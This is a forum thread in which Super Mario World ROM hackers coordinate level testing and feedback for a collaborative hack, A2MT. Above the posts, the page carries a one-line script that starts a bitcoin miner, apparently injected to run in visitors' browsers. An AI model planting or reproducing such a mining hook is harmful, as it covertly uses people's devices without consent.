<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communitysmw central

Testing and Development: Deadline-one week after comments

Anthrax 2 Multiply Themodynamics
User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Testing and Development: Deadline-one week after comment

Postby tenta » 7 years ago

Well im just waiting till someone test it, and if its still not good enough, Il let someone do it for me (Dotted lines thingy)
Image

User avatar
ProfessorDemetri
Posts: 0
Joined: 9 years ago
Location: BC, Canada

Re: Testing and Development: Deadline-one week after comment

Postby ProfessorDemetri » 7 years ago

Just an FYI guys, I'm going on vacation till about the 16th of May. I wont be having internet while away, but I will be bringing my laptop, so I'll still be fiddling with the level.
See you all in about two weeks! Have a good one! :ugeek:
Image
Image
If you need help with anything, contact me on my skype: Demekun

User avatar
shdwdrgnix
Posts: 1
Joined: 9 years ago

Re: Testing and Development: Deadline-one week after comment

Postby shdwdrgnix » 7 years ago

currently testing the first room on the lunatic difficulty, I want to make sure its possible without savestates.

Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Testing and Development: Deadline-one week after comment

Postby Septentrion Pleiades » 7 years ago

shdwdrgnix wrote:currently testing the first room on the lunatic difficulty, I want to make sure its possible without savestates.
You could post an isp so we can test the other three difficulties. I don't see a need to wait until all four are done to start testing.
Image
Image
Image

User avatar
shdwdrgnix
Posts: 1
Joined: 9 years ago

Re: Testing and Development: Deadline-one week after comment

Postby shdwdrgnix » 7 years ago

Septentrion Pleiades wrote:
You could post an isp so we can test the other three difficulties. I don't see a need to wait until all four are done to start testing.
I will do that as soon as I balance the chest room a little better, currently it requires a little too much timing compared to what is seen on hard.

User avatar
Jesuiscontent
Tsundere
Posts: 855
Joined: 8 years ago
First name: cool old field
Location: France

Re: Testing and Development: Deadline-one week after comment

Postby Jesuiscontent » 7 years ago

tenta wrote:Well im just waiting till someone test it, and if its still not good enough, Il let someone do it for me (Dotted lines thingy)
There you go.

http://bin.smwcentral.net/u/17829/la%2B ... %25E9s.ips

The dotted invisible block is in map16 page 33, tile 00 (it is available according to the wiki), don't forget to reserve it in the other thread. Also I replaced the first few blocks with for quick testing purposes, but I'll let you take care of the rest.
Image

Image
Image

User avatar
SnackJackSJ
*Pressing controller buttons and plucking guitar strings furiously*
Posts: 45
Joined: 8 years ago
First name: Adam
Location: United States

Re: Testing and Development: Deadline-one week after comment

Postby SnackJackSJ » 7 years ago

(probably not proper forum, but I'll ask anyway)
With the A2MT 2.6 ROM. Do you need to re-insert every FG, BG graphic, music, ASM and all that?
(haven't hacked in awhile, that would be why I'm asking this)
Image
Whoa! Jack plays Mario Hacks?!
peace, love, and music

limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Testing and Development: Deadline-one week after comment

Postby limepie20 » 7 years ago

The IPS has everything in it already. Although, if you plan on inserting anything else, make sure you insert it with the resources given. Otherwise, you will be taking out a lot of the stuff from the IPS. So you should probably extract ExGFX right away. So next time you insert it, all the other Exgfx will still be there.

User avatar
SnackJackSJ
*Pressing controller buttons and plucking guitar strings furiously*
Posts: 45
Joined: 8 years ago
First name: Adam
Location: United States

Re: Testing and Development: Deadline-one week after comment

Postby SnackJackSJ » 7 years ago

So, the graphics are supposed to look slightly garbled and not work? That's what I'm getting right now.
Am I just supposed to go into the Super GFX Bypass and set the correct slot for the graphics, and music (not related to Super GFX bypass) and all that?
Image
Whoa! Jack plays Mario Hacks?!
peace, love, and music

limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Testing and Development: Deadline-one week after comment

Postby limepie20 » 7 years ago

I don't understand your question. What specifically are you trying to do?

User avatar
SnackJackSJ
*Pressing controller buttons and plucking guitar strings furiously*
Posts: 45
Joined: 8 years ago
First name: Adam
Location: United States

Re: Testing and Development: Deadline-one week after comment

Postby SnackJackSJ » 7 years ago

Forget my question. I figured it out.
There was no real reason to ask it in the first place.
Image
Whoa! Jack plays Mario Hacks?!
peace, love, and music

User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Testing and Development: Deadline-one week after comment

Postby tenta » 7 years ago

Is it possible to put the dots less visible? this is going to make the level waaay too much easier...
Image

Awakenyourmind
Muwha!
Posts: 127
Joined: 8 years ago

Re: Testing and Development: Deadline-one week after comment

Postby Awakenyourmind » 7 years ago

The invisible blocks were not really a problem for me, the level was hard enough. Ice mixed with projectiles and jumps are fine. You don't have to make this level hard as hell.

But otherwise you could have someone edit the box's to make the dots a bit smaller, or just use the coin thing. Put coins under or over the blocks.

User avatar
Jesuiscontent
Tsundere
Posts: 855
Joined: 8 years ago
First name: cool old field
Location: France

Re: Testing and Development: Deadline-one week after comment

Postby Jesuiscontent » 7 years ago

Yeah that was also my impression. A solution might be changing the palette of the dotted blocks to something darker so that they are slightly "camouflaged" with the background.
Image

Image
Image

Awakenyourmind
Muwha!
Posts: 127
Joined: 8 years ago

Re: Testing and Development: Deadline-one week after comment

Postby Awakenyourmind » 7 years ago

I agree, that is another thing you should try tenta. It will be easier then asking someone else to edit the graphics, and may look better then adding coins.

User avatar
Wyatt
Posts: 20
Joined: 10 years ago
Location: NL, Canada

Re: Testing and Development: Deadline-one week after comment

Postby Wyatt » 7 years ago

Eh, camouflaging the dots in that way would just make the player strain their eyes. It'd be annoying.

I have an idea! It's been a while since I've played the level, but I think it had a starry night-time background, right? If so, you could use stars to indicate question blocks! They would camouflage in a sense, but since they're in the foreground, they'd scroll twice as fast as the background stars, so an attentive player would notice them. Try it out!

User avatar
Jolpengammler
Jipples, the friendly dog
Posts: 67
Joined: 7 years ago
Location: German Town
Contact:

Re: Testing and Development: Deadline-one week after comment

Postby Jolpengammler » 7 years ago

Here is a .ips of my first version of a part of the switch palace thing. Tell me, what you think about it, it might be short...
level121
its bottom right on the map
also the door leads to the same level because i don't know which level numbr comes after this
"Ban all the facial hair from life." ~ Horikawa Otane, 2014
"You're shitting with me!" ~ Isocitration, 2014
"skype adds think I'm a lady looking for 40 years old men" ~ raocow, 2016
"i always run up and down the stairs because i want to die" ~Isocitration, 2016

Depressed Horse:
Image

Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Testing and Development: Deadline-one week after comment

Postby Septentrion Pleiades » 7 years ago

Jolpengammler wrote:Here is a .ips of my first version of a part of the switch palace thing. Tell me, what you think about it, it might be short...
level121
its bottom right on the map
also the door leads to the same level because i don't know which level numbr comes after this
It felt very youtube-hackish. Munchers shouldn't be the biggest threat and the bonzai bills are placed in a unfair way. It should be less about low ceilings and munchers and more about enemies. You also shouldn't rely on the naked koopas for jumps you might need to do twice. The floating saws are also ugly, and you really shouldn't really on something like that anyways.

You also don't have much content other than the unfair kills. You really should invest more effort and time into this.

Also, A munchersaw was floating beyond the end of the level.
Image
Image
Image

User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Testing and Development: Deadline-one week after comment

Postby tenta » 7 years ago

Wyatt wrote:Eh, camouflaging the dots in that way would just make the player strain their eyes. It'd be annoying.

I have an idea! It's been a while since I've played the level, but I think it had a starry night-time background, right? If so, you could use stars to indicate question blocks! They would camouflage in a sense, but since they're in the foreground, they'd scroll twice as fast as the background stars, so an attentive player would notice them. Try it out!

Well since the BG repeat after some screens. I don't have any idea how i would make this.
Image

limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: Testing and Development: Deadline-one week after comment

Postby limepie20 » 7 years ago

You have to use FG not BG. Use map16 to make those star tiles foreground.

User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Testing and Development: Deadline-one week after comment

Postby tenta » 7 years ago

Well il try the idea i had in mind and if its not good enough then il try the other idea.
Image

User avatar
Pheonix
e before o [not really]
Posts: 21
Joined: 9 years ago
Location: ǝʞoɹq ǝuo ʇsɐʃ ǝɥʇ

Re: Testing and Development: Deadline-one week after comment

Postby Pheonix » 7 years ago

First iteration of my switch palace segment thing. Too hard? Too easy? Too short/long? Honestly at this point I'm the worst judge of this sort of thing. The level segment ends at the point at which... well, it ends; the switch/door would be there.
Image of the level is here. No video of me playing through it because I always end up messing up one point on the run, no matter how many times I manage to get through that one part beforehand.
The level itself is got to from level 105 (which is the level on its own on the bottom); there's a door at the starting point, which should hopefully lead to F8.
pheonix/feenicks/ffeenicxkcs/[indistinguishable from just slamming down on the keyboard]
feenick.tumblr.com

Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Testing and Development: Deadline-one week after comment

Postby Septentrion Pleiades » 7 years ago

I like the graphics, but the gameplay is quite unbalanced. It was extremely easy except for two parts that were quite hard.
Level0F8.jpg
Level0F8.jpg (196.78 KiB) Viewed 1645 times
The first one(marked by the red arrow) took me many tries, and I basically had to rely on the hidden ceiling. The second hard part( purple arrow) I couldn't even pass in a decent amount of tries. The rest of level was not even threatening. I also suggest more creative enemy use in those parts.
Image
Image
Image

User avatar
tenta
Posts: 19
Joined: 10 years ago
First name: Alex
Location: Quebec

Re: Testing and Development: Deadline-one week after comment

Postby tenta » 7 years ago

I hope this is better! I also changed a message box a bit.

La joie de glisser
Image

Septentrion Pleiades
Banned
Posts: 0
Joined: 8 years ago
First name: Stephen
Location: Holstaurus Heaven

Re: Testing and Development: Deadline-one week after comment

Postby Septentrion Pleiades » 7 years ago

tenta wrote:I hope this is better! I also changed a message box a bit.

La joie de glisser
I just had one issue. I thought a coin trail was misleading.
Level113coin.jpg
Level113coin.jpg (63.59 KiB) Viewed 1959 times
I however, had the greatest idea for your level.
Level113Secret.png
Level113Secret.png (9.07 KiB) Viewed 1959 times
Level113.png
Level113.png (7.19 KiB) Viewed 1959 times
It should be more subtle, but I think it's a winning idea.
Image
Image
Image


Return to “A2MT”

Who is online

Users browsing this forum: No registered users and 1 guest